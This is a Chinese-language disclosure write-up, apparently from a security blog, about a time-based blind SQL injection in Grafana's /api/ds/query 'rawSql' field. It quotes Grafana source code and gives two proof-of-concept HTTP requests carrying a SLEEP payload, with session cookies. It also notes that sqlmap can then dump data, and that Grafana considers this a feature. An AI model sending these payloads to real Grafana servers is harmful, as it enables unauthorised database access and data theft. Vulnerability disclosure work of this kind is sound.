漏洞描述
用于监控和可观察的开源平台要利用此sql注入漏洞,必须使用有效帐户登录grafana Web后端,然后向/api/ds/query“rawSql”条目发送恶意POST请求。
如果攻击者登录grafana web后端,他们可以使用post请求到/api/ds/query api,然后他们可以修改“rawSql”文件来执行恶意sql字符串,导致基于时间的盲sql注入漏洞,然后泄漏来自数据库的数据。
风险等级
高的
影响版本
grafana最新和所有旧版本
漏洞分析
受影响的代码块和函数
- grafana grafana-sql package in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts file
// NOTE: this always runs with the `@grafana/data/getDefaultTimeRange` time range
async runSql<T extends object>(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView<T>(frame);
}
private runMetaQuery(request: Partial<SQLQuery>, range: TimeRange): Promise<DataFrame> {
const refId = request.refId || ‘meta’;
const queries: DataQuery[] = [{ …request, datasource: request.datasource || this.getRef(), refId }];
return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: ‘/api/ds/query’,
method: ‘POST’,
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
queries,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse<BackendDataSourceResponse>) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}
- grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts file
async metricFindQuery(query: string, options?: any): Promise<MetricFindValue[]> {
if (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: ‘metricFindQuery’,
query,
rawQuery: true,
…(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}),
};
return lastValueFrom(
super.query({
…(options ?? {}), // includes ‘range’
targets: [target],
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace(
query,
options?.scopedVars,
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);
return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}
……
return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: ‘/api/ds/query’,
method: ‘POST’,
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
queries: [target],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse<BackendDataSourceResponse>) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
Grafana 不会验证发送到 DataSource 代理的任何查询
漏洞复现:
攻击者可以利用上述步骤进行sql注入,这是grafana发送sql语句查询导致bug。
grafana v8.0.4 poc:
POST /api/ds/query HTTP/1.1
Host: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
content-type: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Connection: close
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{“queries”:[{“refId”:”A”,”format”:”time_series”,”datasourceId”:2,”rawSql”:”(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,”maxDataPoints”:10000}]}
登录后端点击“Explore”,然后使用burp捕获POST /api/ds/query 数据包,将“rawSql”条目修改为恶意sql字符串,然后我们就得到了基于时间的sql注入。
POST /api/ds/query HTTP/1.1
Host: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-type: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Connection: close
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{“from”:”1713492692433″,”to”:”1713514292433″,”queries”:[{“rawSql”:”(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,”format”:”table”,”refId”:”datasets”,”datasource”:{“type”:”mysql”,”uid”:”edj6pz14v89a8c”}}]}
现在可以使用sqlmap拖数据了
漏洞修复
Grafana 不会验证发送到 DataSource 代理的任何查询,过滤必须在数据源端完成。
grafana官方安全团队并不认为这是一个漏洞,它是后端的一个功能,它一定让我感到非常不安……
但我认为不是,所以我发表了这篇文章:)
参考资源
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
原创文章,作者:xbear,如若转载,请注明出处:https://cncso.com/grafana-sql-injection-high-risk-vuln.html